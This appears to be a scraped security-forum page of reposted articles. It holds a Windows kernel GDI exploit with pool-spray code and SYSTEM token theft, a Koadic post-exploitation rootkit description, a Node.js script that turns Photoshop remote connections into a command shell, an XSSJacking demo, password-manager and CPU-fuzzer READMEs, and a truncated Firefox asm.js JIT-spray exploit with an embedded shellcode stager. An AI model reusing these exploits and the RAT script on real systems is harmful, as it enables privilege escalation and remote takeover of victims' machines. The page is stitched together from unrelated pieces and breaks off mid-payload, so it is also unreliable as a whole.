Bitmap _POOL_HEADER size(0x8) + _BASE_OBJECT size (0x10) + _SURFOBJ->height (0x14) = OOB write offset (0x3C) Precisely overwriting the height member of the adjacent bitmap object. To be completely honest, I did not just calculate the offsets and was done. It took a great amount of time, pain and trial and error to get this value so I was basically guessing when the stars aligned for me. Then it was time to check if this was actually happening in a debugger. By the end of the first section of the calculations, it can be seen that the value that would be passed to the calculation block is 0xFFFFFFD0 at EBX. Moving to the allocation section, in the beginning the value 0xFFFFFFD0 is added to 0x40 resulting in 0x10 in EAX. Since at the end of the function, the allocated object is freed, the object needs to be allocated at the end of the memory page. The difference this time is that it should be directly followed by the bitmap object, so that we can overflow the Bitmap object height and extend its size to gain relative memory read/write. At this point we have three choices, that we can go with: The extended Bitmap object can be used as a Manager, to overwrite the pvScan0 member of an adjacent Bitmap object, and use the second one as Worker. The extended Bitmap object can be used as a Manager, to overwrite an adjacent Palette object (XEPALOBJ) *pFirstColor member, and use the Palette as a Worker. Demo the full new Palette object technique, using the extended Bitmap object to overwrite the cEntries member of an adjacent Palette object, gaining relative memory read/write then use the modified Palette object as Manager, to control the *pFirstColor member of a second Palette and use the Second Palette as Worker. I decided to go with the last option, to take it as a chance to demo the new technique. To achieve this it is necessary to to perform the kernel Pool Feng-shui as explained below. Kernel Pool Feng-shui The first allocations will be of a bitmap of allocation size 0xFE8, since we know the vulnerable object will have the size of 0x10+0x8 (POOL_HEADER), so we create 2000 allocations. 0x1000 – 0x18 = 0xFE8 for (int y = 0; y < 2000; y++) { //0x3A3 = 0xFe8 bmp = CreateBitmap(0x3A3, 1, 1, 32, NULL); bitmaps[y] = bmp; } The Next step is to allocate 2000 Objects of size 0x18, the best object that I found was the Window Class lpszMenuName. Although this is a User object it is one of the User objects that gets allocated to the Pages Session Pool, and I think it can be used to leak the address of GDI objects from User objects, but this is beyond the scope of this paper. //Spray LpszMenuName User object in GDI pool. Ustx // size 0x10+8 TCHAR st[0x32]; for (int s = 0; s < 2000; s++) { WNDCLASSEX Class2 = { 0 }; wsprintf(st, "Class%d", s); Class2.lpfnWndProc = DefWindowProc; Class2.lpszClassName = st; Class2.lpszMenuName = "Saif"; Class2.cbSize = sizeof(WNDCLASSEX); if (!RegisterClassEx(&Class2)) { printf("bad %d %d\r\n", s, GetLastError()); break; } } The next step will be to delete(de-allocate) all the large size Bitmap object Gh05 allocated to the beginning of the page. for (int s = 0; s < 2000; s++) { DeleteObject(bitmaps[s]); } And allocate smaller Bitmap objects Gh05 of size 0x7F8 that will be allocated to the beginning of the Pool Page, hopefully directly after the memory holes, where the vulnerable object will be placed. for (int k = 0; k < 2000; k++) { //0x1A6 = 0x7f0+8 bmp = CreateBitmap(0x1A6, 1, 1, 32, NULL); bitmaps[k] = bmp; } Next 2000 Palette objects Gh08 that will be abused, will be allocated with size 0x7E8 to the remaining free memory in kernel memory pages. HPALETTE hps; LOGPALETTE *lPalette; //0x1E3 = 0x7e8+8 lPalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 1) * sizeof(PALETTEENTRY)); lPalette->palNumEntries = 0x1E3; lPalette->palVersion = 0x0300; // for allocations bigger than 0x98 its Gh08 for less its always 0x98 and the tag is Gla18 for (int k = 0; k < 2000; k++) { hps = CreatePalette(lPalette); if (!hps) { printf("%s - %d - %d\r\n", "CreatePalette - Failed", GetLastError(), k); } hp[k] = hps; } Then freeing some of the allocated Window Class lpszMenuName, to create memory holes the same size as the vulnerable object allocation, at the end of the Pool page. TCHAR fst[0x32]; for (int f = 500; f < 750; f++) { wsprintf(fst, "Class%d", f); UnregisterClass(fst, NULL); } If everything went according to plan the memory layout after the vulnerable object is allocated will be as follows. Relative read/write Bitmap GDI Object extension Now that the vulnerable object is placed at the end of the page and directly before a Bitmap object, the out-of-bounds write (mov [esi+3c], ecx), should write the DWORD 0x00000006 which represents the brush’s bitmap type (BMF_32BPP) controlled by the biBitCount, to the offset 0x3C of the vulnerable object, which will fall nicely with the Bitmap Object sizlBitmap height member. As shown above, the adjacent Bitmap object sizlBitmap.Height changed, from 0x1 to 0x6 successfully expanding the Bitmap size, so any subsequent operations on the affected Bitmap object, will result in OOB memory read/write. The way to find out which Bitmap is extended, will be by iterating over the allocated bitmaps, and find which one can read data using GetBitmapBits, past its original size. for (int i = 0; i < 2000; i++) { res = GetBitmapBits(bitmaps[i], 0x6F8, bits); if (res > 0x6F8 - 1) { hManager = bitmaps[i]; printf("[*] Manager Bitmap: %d\r\n", i); break; } } Abusing Palette GDI Objects Once the Bitmap object is found, this Bitmap will be used to set the cEntries member of the adjacent Palette(XEPALOBJ) object to 0xFFFFFFFF, which is located at offset 0x6B8 of the bitmap bits. //BYTE *bytes = (BYTE*)&cEntries; for (int y = 0; y < 4; y++) { bits[0x6F8 - 8 - 0x38 + y] = 0xFF; } SetBitmapBits((HBITMAP)hManager, 0x6F8, bits); The adjacent Palette object XEPALOBJ.cEntries before being set by the Bitmap Object. The updated XEPALOBJ.cEntries. By this point a loop will be performed to find which Palette Object was extended by using the GetPaletteEntries function, and monitoring if the result entries count is larger than the original 0x1E3. UINT *rPalette; rPalette = (UINT*)malloc((0x400 - 1) * sizeof(PALETTEENTRY)); memset(rPalette, 0x0, (0x400 - 1) * sizeof(PALETTEENTRY)); for (int k = 0; k < 2000; k++) { UINT res = GetPaletteEntries(hp[k], 0, 0x400, (LPPALETTEENTRY)rPalette); if (res > 0x3BB) { printf("[*] Manager XEPALOBJ Object Handle: 0x%x\r\n", hp[k]); hpManager = hp[k]; break; } } Once the extended Palette Object is found we will save its handle to use it as the Manager, and set the next Palette Object *pFirstColor, which is at offset 0x3FE from Manager Palette object, to the address of a fixed Bitmap Object Pool Header. UINT wAddress = rPalette[0x3FE]; printf("[*] Worker XEPALOBJ->pFirstColor: 0x%04x.\r\n", wAddress); UINT tHeader = pFirstColor - 0x1000; tHeader = tHeader & 0xFFFFF000; printf("[*] Gh05 Address: 0x%04x.\r\n", tHeader); SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&tHeader); As seen above, the Worker *pFirstColor member was successfully set to the fixed Bitmap object Pool header, which means that arbitrary memory read/write was achieved. The next step is to identify the Worker Palette object handle, we know that the fixed Bitmap object least significant byte of the POOL_HEADER will be 0x35 = 5d, since Gh15 translates to 0x35316847, to identify the Worker Palette Object, a loop will iterate over the allocated Palettes calling GetPaletteEntries, until a Palette is found that has first entry’s least significant byte = 0x35, and save its handle which is going to be our Worker Palette object. UINT wBuffer[2]; for (int x = 0; x < 2000; x++) { GetPaletteEntries((HPALETTE)hp[x], 0, 2, (LPPALETTEENTRY)wBuffer); if (wBuffer[1] >> 24 == 0x35) { hpWorker = hp[x]; printf("[*] Worker XEPALOBJ object Handle: 0x%x\r\n", hpWorker); printf("[*] wBuffer: %x\r\n", wBuffer[1]); break; } } The arbitrary memory read/write will be used to fix the clobbered Bitmap object header. VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8 }; void SetAddress(UINT* address) { SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)address); } void WriteToAddress(UINT* data, DWORD len) { SetPaletteEntries((HPALETTE)hpWorker, 0, len, (PALETTEENTRY*)data); } UINT ReadFromAddress(UINT src, UINT* dst, DWORD len) { SetAddress((UINT *)&src); DWORD res = GetPaletteEntries((HPALETTE)hpWorker, 0, len, (LPPALETTEENTRY)dst); return res; } Steal Token 32-bit With arbitrary kernel memory read/write and all headers fixed, we can now get the kernel pointer to a SYSTEM process _EPROCESS structure, and copy and replace the SecurityToken of the current process as explained in a previous post. // get System EPROCESS UINT SystemEPROCESS = PsInitialSystemProcess(); //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); UINT CurrentEPROCESS = PsGetCurrentProcess(); //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); UINT SystemToken = 0; // read token from system process ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, &SystemToken, 1); fprintf(stdout, "[*] Got System Token: %x\r\n", SystemToken); // write token to current process UINT CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; SetAddress(&CurProccessAddr); SYSTEM!! Now the current process has a SYSTEM level token, and will continue execution as SYSTEM, calling cmd.exe will drop into a SYSTEM shell. system("cmd.exe"); More Details: Defcon 25: 5A1F – Demystifying Windows Kernel Exploitation by Abusing GDI objects White-paper, slides, MS16-098 & MS17-017 exploit: https://github.com/sensepost/gdi-palettes-exp References: [1] ReactOS x86 Palette object: https://www.reactos.org/wiki/Techwiki:Win32k/PALETTE [2] GDIOBjDump: https://github.com/CoreSecurity/GDIObjDump [3] 360Vulcan team Win32k Dark Composition: https://www.slideshare.net/CanSecWest/csw2017-peng-qiushefangzhong-win32k-darkcompositionfinnalfinnalrmmark
      • 1
      • Thanks
  9. EPMG Entropic Password Manager Generator EPMG is a cross-platform, most secure and storageless password manager that generates passwords Properties: security portability compatibility minimalism resilience versatility deniability Dependencies: Python 2.7 - main engine Limitations: no automatic clipboard copy for Android/iOS no proper RAM cleaning may take several seconds to compute on some devices static password policy impossibility to store unpredictable constants master-password compromise is fatal How it works The solution allows to generate a service-specific password using only one single master-password. ask for service/website/application/filename ask for login/id/username/email Because, there might be multiple accounts for one service. ask for master-password/key/passphrase This password should always be the same, but strong and unqiue, it allows multiple and deterministic generation. ask how many times the generated password was compromised If the master-password was compromised, every generated password is. However, if one of the generated passwords was compromised, adding the compromission number as a salt will generate a totally different and independent password. calculate PBKDF2-HMAC ( SHA-512, 1 000 000 iterations, service and login, password and compromises number ) PBKDF is a strong cryptographic function, combined with a strong and difficult to compute hashing algorithm as SHA-512 for one million times will make it extremely hard to bruteforce for an adversary of any type. PBKDF is more secure than HMAC, which is more secure than a simple hash. As you can see, the password with compromission number is actually used as salt and the actual "password" comes from concatenation of service and login. encode the result in Base64 This will output ASCII characters select first 16 characters Because, it's enough add "/0" at the end This is preferable because, the propability of occurence for special characters and numbers is lower than letters, whereas it's necessary for the current password policy (regardless the fact that it has nothing to do with the password security). copy to clipboard or show the generated password INPUT : service, login, master-password OUTPUT : pseudo-randomly generated 18 ASCII characters HowTo For Unix : sudo apt install python || echo 'you know how to install a package, right?' python EPMG.py || chmod +x EPMG.py && ./EPMG.py For Windows - installer.msi For Android : Download QPython Move EPMG.py to /storage/qpython/scripts/ Launch QPython Click on "quick launch" central logo icon Select "Run local script" Select "EPMG.py" Tap press on screen and choose "Select text" Select the password using your finger, this will copy it to the clipboard Press "enter" to exit For iOS - iTunes, which is paid, but you can find a free version "somewhere in a galaxy" Examples: ./EPMG.py IN : socialNetwork IN : secured@mail.net IN (no prompt) : MyStrong&UNIQUEp4$$w0rd IN : "enter" OUT (clipboard) : pcRZGsaE26SL6zNT/0 ./EPMG.py IN : mail.net IN : secured IN (no prompt) : MyStrong&UNIQUEp4$$w0rd IN : 1 IN : SHOW OUT: UngPtVcR9IJ+gxX+/0 Analysis At the current date, password is the most common form of authentication, even if some services support multiple authentication types, passwords are still remaining universal. The code is written in Python 2.7 and even smaller than this README, which makes it executable on almost any device. PBKDF itself is very difficult to bruteforce and practically impossible to make a dictionary/table. I maid it even more secure that your disk encryption and the password managers all together. Nothing is saved anywhere. The RAM (volatile memory) is exception ofcourse and even if Python has "garbadge collection" it has no C-type control over variables and it makes some copies of them anyway, thus making it almost impossible task to be sure that nothing remains in memory after execution. Nevertheless, compromised passwords can be changed and RAM leaking is pretty irrealistic problem for modern computers. Zero connection prevents network attacks and has less dependencies. It can also be executed in a different environment (like friend's PC or virtual machine), which should be trusted however. In case if you're forced to decrypt your drive for instance, all your stored passwords will be compromised and if you've encrypted them, a key might be demanded. A deterministic schema allows deniability in such case by simply denying having a password for a service or by providing a fake-one. Despite the criticism of deterministic password managers, secuirty policies were somehow stabilized and you can strip/recode the "improper" characters (at the cost of user experience). Anyway, user will end up with some local storage files (certificates, PINs, ...). Finally, like all my software, it's free and has no "premium" discrimination. Mathematics Since we add 2 characters in the end, they woun't count for complexity. We are left with 16 "random" characters selected out of Base64, so 64 possibilities for each-one, which gives us: 64^16 = 10^28 possibilities <=> log(64^16) in base of 2 = 96 random bits of entropy to guess theoretically, which is more than enough. However, practically the total number of possibilities can be reduced to 10^3 * 26^13 * binom(13,7) = 10^24 <=> 82 bits, because of statistics. The probability of occurence in Base64 charset for: decimals is 10/64 = 15% lowercase characters is 26/64 = 41% uppercase characters is 26/64 = 41% special chars is 2/64 = 3% => neglected Taking in count that I took only 16 characters, only 3 of them will be decimals and 13 are the alphabet characters, which can be lower or uppercase with no order importance. This brings us to combinatorics, more specifically binomial coefficients and factorials. Assuming that there will be half of uppercase and half of lowercase characters, n is total characters number (13) and k in the ratio of inter-charset occurence probability (13/2 = 6), the total number of possibilities for them is: which is equivalent to which equals 1716 An interesting conclusion is that the more charsets you use in your password, the less secure it is... Notes Password managers are insecure and hardly usable, just like passwords themself. This solution isn't a proposition to change something and the idea is pretty old, but it can still be used for "special" purposes or just by paranoids/cypherpunks. If you ask me what do I use for passwords, I'll say Firefox and manually encrypted files, plus some esoteric solutions that I might publish soon. We need new meanings of authentication, for more info read my research paper. "Cryptography began in mathematics." James Sanborn Sursa: https://github.com/cryptolok/EPMG
  10. Nytro

    Koadic

    Koadic Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host (a.k.a. JScript/VBScript), with compatibility in the core to support a default installation of Windows 2000 with no service packs (and potentially even versions of NT4) all the way through Windows 10. It is possible to serve payloads completely in memory from stage 0 to beyond, as well as use cryptographically secure communications over SSL and TLS (depending on what the victim OS has enabled). Koadic also attempts to be compatible with both Python 2 and Python 3. Demo Hooks a zombie Elevates integrity (UAC Bypass) Dumps SAM/SECURITY hive for passwords Scans local network for open SMB Pivots to another machine Stagers Stagers hook target zombies and allow you to use implants. Module Description stager/js/mshta serves payloads in memory using MSHTA.exe HTML Applications stager/js/regsvr serves payloads in memory using regsvr32.exe COM+ scriptlets stager/js/rundll32_js serves payloads in memory using rundll32.exe stager/js/disk serves payloads using files on disk Implants Implants start jobs on zombies. Module Description implant/elevate/bypassuac_eventvwr Uses enigma0x3's eventvwr.exe exploit to bypass UAC on Windows 7, 8, and 10. implant/elevate/bypassuac_sdclt Uses enigma0x3's sdclt.exe exploit to bypass UAC on Windows 10. implant/fun/zombie Maxes volume and opens The Cranberries YouTube in a hidden window. implant/fun/voice Plays a message over text-to-speech. implant/gather/clipboard Retrieves the current content of the user clipboard. implant/gather/hashdump_sam Retrieves hashed passwords from the SAM hive. implant/gather/hashdump_dc Domain controller hashes from the NTDS.dit file. implant/inject/mimikatz_dynwrapx Injects a reflective-loaded DLL to run powerkatz.dll (using Dynamic Wrapper X). implant/inject/mimikatz_dotnet2js Injects a reflective-loaded DLL to run powerkatz.dll (@tirannido DotNetToJS). implant/inject/shellcode_excel Runs arbitrary shellcode payload (if Excel is installed). implant/manage/enable_rdesktop Enables remote desktop on the target. implant/manage/exec_cmd Run an arbitrary command on the target, and optionally receive the output. implant/pivot/stage_wmi Hook a zombie on another machine using WMI. implant/pivot/exec_psexec Run a command on another machine using psexec from sysinternals. implant/scan/tcp Uses HTTP to scan open TCP ports on the target zombie LAN. implant/utils/download_file Downloads a file from the target zombie. implant/utils/upload_file Uploads a file from the listening server to the target zombies. Disclaimer Code samples are provided for educational purposes. Adequate defenses can only be built by researching attack techniques available to malicious actors. Using this code against target systems without prior permission is illegal in most jurisdictions. The authors are not liable for any damages from misuse of this information or code. Acknowledgements Special thanks to research done by the following individuals: @subTee @enigma0x3 @tiraniddo @harmj0y @gentilkiwi @mattifestation clymb3r @Aleph___Naught @The_Naterz @JennaMagius @zerosum0x0 Sursa: https://github.com/zerosum0x0/koadic
      • 1
      • Thanks
  11. codecolorist Security research @ Chaitin Tech Jul 30 How to turn Photoshop into a remote access tool Photoshop has an optional feature named Remote Connections. It’s disabled by default, but when you turn this on and set the password, anyone that knows the password can connect to your photoshop service remotely. Enable remote connections A common use case for this feature is to preview documents in realtime on remote devices, like an iPad or a phone, to see its actual looking on different screens. You may need some 3rd-party apps like Skala Preview or PS Play on your mobile devices. Skala Preview, image belongs to Bjango.com The remote connection is actually running JSX on Photoshop instance. JSX is the macro for Photoshop (not the one from Facebook). The scripts are written in Javascript, and have the abilities powered by Photoshop, like loading images, tuning colors, drawing vectors and then export. The following manuals shows how to write and run the scripts, and the available APIs. Adobe provides an open-sourced library generator-core to establish remote connections, so if you are curious about the detail of the protocol you can take a look at it. When you turn on Remote Connection, Photoshop will listen on port 49494: $ netstat -an | grep 49494 tcp4 0 0 *.49494 *.* LISTEN From the source we can see that the password is used for generating key in communications. It uses Triple DES algorithm, fixed iv. The key is generated by pbkdf2 algorithm, with a constant salt “Adobe Photoshop”, and 1000 iterations. adobe-photoshop/generator-core generator-core - Core Node.js library for Adobe Photoshop CC's Generator extensibility layergithub.com The following snippet pops an alert on remote Photoshop: const core = require("generator-core/lib/generator") const options = { host: '192.168.1.123', password: 'password', port: 49494 } const generator = core.createGenerator() generator.start(options).done(() => { generator.evaluateJSXString('alert("Hello")').then(() => generator.shutdown()) }) What makes me excited is that there’s a function that not listed in the reference book: app.system, which executes arbitrary system command. What about making it a web shell? Then I tried running this in my Photoshop, expecting to pop the output: alert(app.system("id")) Unfortunately, the return value is the exit status code, not the contents from stdout. A blind shell sucks. The solution is easy. Photoshop’s JSX also provides API for accessing file system. We can redirect the stdout to a temporary file, then read it! var tmpFile = Folder.temp + 'output.txt'; app.system("id > " + tmpFile); var stdout = new File(${tmpFile}); stdout.open('r'); stdout.encoding = "UTF-8"; var content = stdout.read(); stdout.close(); stdout.remove(); alert(content); That’s it! So my RAT script may look like this: const readline = require('readline') const backdoor = require("generator-core/lib/generator") const options = { host: '127.1', password: 'password', port: 49494 } console.info('Establishing connection to ' + options.host) const generator = backdoor.createGenerator() generator.start(options).done(() => { const rl = readline.createInterface({input: process.stdin, output: process.stdout, prompt: '> '}) .on('line', line => { let command = line.trim() let tmpFile = `Folder.temp + ${JSON.stringify(Math.random() + '.txt')}` let reader = `var stdout = new File(${tmpFile});stdout.open('r');stdout.encoding = "UTF-8";var content = stdout.read();stdout.close();stdout.remove();content` generator.evaluateJSXString(`app.system("${command} > " + ${tmpFile});`).then(() => { generator.evaluateJSXString(reader).then(output => { console.log(output) rl.prompt() }) }) }) .on('SIGINT', () => { generator.shutdown() rl.close() }) console.log('Remote photoshop shell') rl.prompt() }) result To discover the nearby controllable Photoshop instances, simply scan TCP port 49494 or use the mDNS protocol to search “_photoshopserver.tcp.”. This feature is not consider a vulnerability, since you need to know the password. I don’t know if the algorithm is crackable. But if someone asking you to turn the feature on and hand out your password, be careful. Sursa: https://medium.com/0xcc/how-to-turn-photoshop-into-a-remote-access-tool-972238dc98e9
      • 2
      • Upvote
  12. Ca in fiecare an, multe lucrui misto.
  13. Lumea se plangea pe Twitter deoarece coleteaza date, desi se stie ca toti antivirusii fac asta.
  14. XSSJacking This is an attack that can trigger Self-XSS if the page in question is also vulnerable to Clickjacking. Self-XSS is a type of XSS that typically can only be triggered by a user typing in an XSS payload which triggers on themselves. This can be DOM based, or set in a field only settable and viewable by the one user. Clickjacking, is an attack that frames a website of a logged in user, typically sets the opacity of the frame to 0, and forces a victim to interact with their account, on a different website, unbeknownst to them. They are both often excluded from bug bounty payouts. Here I will show a relatively practical way to execute XSS payloads on sites vulnerable to both conditions How it works This attack leverages Pastejacking to force users to paste XSS payloads into text fields framed from other domains. These frames can be redressed, made invisible, and overlayed ontop of other UI elements, making the user think they're interacting with another website. Demo In this first site, there is a big input field that is vulnerable to Self-XSS https://security.love/XSSJacking To restrict people running Javascript on my domain, I have simplified the XSS to only pop an alert if <script>alert(1)</script> is entered into the field. In this second site, https://security.love/XSSJacking/index2.html I have set up a scenario enticing people to copy paste things. Specifically, I've told a user to enter their email, and then repeat the email address on the next line. If the victim is anything like me, they will likely type their email once, copy it, and then paste it into the second field. This is where the Pastejacking comes in. After the copy, the contents of their clipboard get overwritten with <script>alert(1)</script> The second email field is actually a cropped Iframe of the vulnerable site. When the victim goes to paste their email into the field, they'll actually paste the script tag, and trigger the XSS on the victim's domain Conclusion Though Clickjacking and Self-XSS are typically excluded from bug bounties, when both vulnerabilities are present, it isn't too difficult to craft a payload that forces the XSS to trigger on the victim. Sursa: https://github.com/dxa4481/XSSJacking
  15. s a n d s i f t e r : the x86 processor fuzzer Overview The sandsifter audits x86 processors for hidden instructions and hardware bugs, by systematically generating machine code to search through a processor's instruction set, and monitoring execution for anomalies. Sandsifter has uncovered secret processor instructions from every major vendor; ubiquitous software bugs in disassemblers, assemblers, and emulators; flaws in enterprise hypervisors; and both benign and security-critical hardware bugs in x86 chips. With the multitude of x86 processors in existence, the goal of the tool is to enable users to check their own systems for hidden instructions and bugs. To run a basic audit against your processor: sudo ./sifter.py --unk --dis --len --sync --tick -- -P1 -t The computer is systematically scanned for anomalous instructions. In the upper half, you can view the instructions that the sandsifter is currently testing on the processor. In the bottom half, the sandsifter reports anomalies it finds. The search will take from a few hours to a few days, depending on the speed of and complexity of your processor. When it is complete, summarize the results: ./summarize.py data/log Typically, several million undocumented instructions on your processor will be found, but these generally fall into a small number of different groups. After binning the anomalies, the summarize tool attempts to assign each instruction to an issue category: Software bug (for example, a bug in your hypervisor or disassembler), Hardware bug (a bug in your CPU), or Undocumented instruction (an instruction that exists in the processor, but is not acknowledged by the manufacturer) Press 'Q' to quit and obtain a text based summary of the system scan: The results of a scan can sometimes be difficult for the tools to automatically classify, and may require manual analysis. For help analyzing your results, feel free to send the ./data/log file to xoreaxeaxeax@gmail.com. No personal information, other than the processor make, model, and revision (from /proc/cpuinfo) are included in this log. Results Scanning with the sandsifter has uncovered undocumented processor features across dozens of opcode categories, flaws in enterprise hypervisors, bugs in nearly every major disassembly and emulation tool, and critical hardware bugs opening security vulnerabilities in the processor itself. Details of the results can be found in the project whitepaper. Building Sandsifter requires first installing the Capstone disassembler: http://www.capstone-engine.org/ Sandsifter can be built with: make and is then run with sudo ./sifter.py --unk --dis --len --sync --tick -- -P1 -t Flags Flags are passed to the sifter with --flag, and to the injector with -- -f. Example: sudo ./sifter.py --unk --dis --len --sync --tick -- -P1 -t Sifter flags: --len - search for length differences in all instructions (instructions that executed differently than the disassembler expected, or did not exist when the disassembler expected them to --dis - search for length differences in valid instructions (instructions that executed differently than the disassembler expected) --unk - search for unknown instructions (instructions that the disassembler doesn't know about but successfully execute) --ill - the inverse of --unk, search for invalid disassemblies (instructions that do not successfully execute but that the disassembler acknowledges) --tick - periodically write the current instruction to disk --save - save search progress on exit --resume - resume search from last saved state --sync - write search results to disk as they are found --low-mem - do not store results in memory Injector flags: -b - mode: brute force -r - mode: randomized fuzzing -t - mode: tunneled fuzzing -d - mode: externally directed fuzzing -R - raw output mode -T - text output mode -x - write periodic progress to stderr -0 - allow null dereference (requires sudo) -D - allow duplicate prefixes -N - no nx bit support -s seed - in random search, seed value -B brute_depth - in brute search, maximum search depth -P max_prefix - maximum number of prefixes to search -i instruction - instruction at which to start search (inclusive) -e instruction - instruction at which to end search (exclusive) -c core - core on which to perform search -X blacklist - blacklist the specified instruction -j jobs - number of simultaneous jobs to run -l range_bytes - number of base instruction bytes in each sub range Keys m: Mode - change the search mode (brute force, random, or tunnel) for the sifter q: Quit - exit the sifter p: Pause - pause or unpause the search sudo For best results, the tool should be run as the root user. This is necessary so that the process can map into memory a page at address 0, which requires root permissions. This page prevents many instructions from segfaulting on memory accesses, which allows a more accurate fault analysis. Legacy systems For scanning much older systems (i586 class processors, low memory systems), pass the --low-mem flag to the sifter and the -N flag to the injector: sudo ./sifter.py --unk --dis --len --sync --tick --low-mem -- -P1 -t -N If you observe your scans completing too quickly (for example, a scan completes in seconds), it is typically because these flags are required for the processor you are scanning. README TODO algorithms: random tunneling brute driven/mutator detailed results enumeration screenshots of bug types, final results grep ./injector 32 and 64 bit installs prefixes and limitations installing capstone help terminal colors (export TERM='xterm-256color') shrink screen to fit example of targetted fuzzing References A whitepaper describing the approach is here. Slides from the Black Hat 2017 presentation are here Sursa: https://github.com/xoreaxeaxeax/sandsifter Dupa cum ziceam si in alt topic, asta e "Hacking" in adevaratul sens al cuvantului. Poate mai evoluam si noi si trecem mai departe de <script>alert(1)</script> sau ' union select 1,2,3---
      • 2
      • Upvote
  16. <!DOCTYPE HTML> <!-- FULL ASLR AND DEP BYPASS USING ASM.JS JIT SPRAY (CVE-2017-5375) PoC Exploit against Firefox 50.0.1 (CVE-2016-9079 - Tor Browser 0day) Tested on: Release 50.0.1 32-bit - Windows 8.1 / Windows 10 https://ftp.mozilla.org/pub/firefox/releases/50.0.1/win32/en-US/Firefox%20Setup%2050.0.1.exe Howto: 1) serve PoC over network and open it in Firefox 50.0.1 32-bit 2) if you don't see cmd.exe, open processexplorer and verify that cmd.exe was spawned by firefox.exe A successfull exploit attempt should pop cmd.exe Writeup: https://rh0dev.github.io/blog/2017/the-return-of-the-jit/ (C) Rh0 Jul. 13, 2017 --> <script async> function asm_js_module(){ "use asm"; /* huge jitted nop sled */ function payload_code(){ var val = 0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; val = (val + 0xa8909090)|0; /* 3 byte VirtualAlloc RWX stager */ val = (val + 0xa890db31)|0; val = (val + 0xa89030b3)|0; val = (val + 0xa81b8b64)|0; val = (val + 0xa80c5b8b)|0; val = (val + 0xa81c5b8b)|0; val = (val + 0xa8b9006a)|0; val = (val + 0xa8904c4c)|0; val = (val + 0xa8902eb1)|0; val = (val + 0xa85144b5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8903233)|0; val = (val + 0xa89045b1)|0; val = (val + 0xa8514cb5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8904e52)|0; val = (val + 0xa8904bb1)|0; val = (val + 0xa85145b5)|0; val = (val + 0xa8590e6a)|0; val = (val + 0xa84fe789)|0; val = (val + 0xa8086b8b)|0; val = (val + 0xa820738b)|0; val = (val + 0xa8471b8b)|0; val = (val + 0xa82ae349)|0; val = (val + 0xa890c031)|0; val = (val + 0xa890ad66)|0; val = (val + 0xa89c613c)|0; val = (val + 0xa8077c9d)|0; val = (val + 0xa890202c)|0; val = (val + 0xa89c073a)|0; val = (val + 0xa8d7749d)|0; val = (val + 0xa890bdeb)|0; val = (val + 0xa8b9006a)|0; val = (val + 0xa890636f)|0; val = (val + 0xa8906cb1)|0; val = (val + 0xa8516cb5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa890416c)|0; val = (val + 0xa89075b1)|0; val = (val + 0xa85161b5)|0; val = (val + 0xa8b99090)|0; val = (val + 0xa8907472)|0; val = (val + 0xa89056b1)|0; val = (val + 0xa85169b5)|0; val = (val + 0xa890eb89)|0; val = (val + 0xa83cc583)|0; val = (val + 0xa8006d8b)|0; val = (val + 0xa890dd01)|0; val = (val + 0xa878c583)|0; val = (val + 0xa8006d8b)|0; val = (val + 0xa890dd01)|0; val = (val + 0xa820458b)|0; val = (val + 0xa890d801)|0; val = (val + 0xa890d231)|0; val = (val + 0xa890e789)|0; val = (val + 0xa8590d6a)|0; val = (val + 0xa810348b)|0; val = (val + 0xa890de01)|0; val = (val + 0xa890a6f3)|0; val = (val + 0xa8900de3)|0; val = (val + 0xa804c283)|0; val = (val + 0xa890dbeb)|0; val = (val + 0xa8247d8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa890ead1)|0; val = (val + 0xa890d701)|0; val = (val + 0xa890d231)|0; val = (val + 0xa8178b66)|0; val = (val + 0xa81c7d8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa802e2c1)|0; val = (val + 0xa890d701)|0; val = (val + 0xa8903f8b)|0; val = (val + 0xa890df01)|0; val = (val + 0xa890406a)|0; val = (val + 0xa890c031)|0; val = (val + 0xa85030b4)|0; val = (val + 0xa85010b4)|0; val = (val + 0xa890006a)|0; val = (val + 0xa890d7ff)|0; val = (val + 0xa890c931)|0; val = (val + 0xa89000b5)|0; val = (val + 0xa890c3b1)|0; val = (val + 0xa890ebd9)|0; val = (val + 0xa82434d9)|0; val = (val + 0xa890e689)|0; val = (val + 0xa80cc683)|0; val = (val + 0xa890368b)|0; val = (val + 0xa85fc683)|0; val = (val + 0xa890c789)|0; val = (val + 0xa81e8b66)|0; val = (val + 0xa81f8966)|0; val = (val + 0xa802c683)|0; val = (val + 0xa802c783)|0; val = (val + 0xa8901e8a)|0; val = (val + 0xa8901f88)|0; val = (val + 0xa803c683)|0; val = (val + 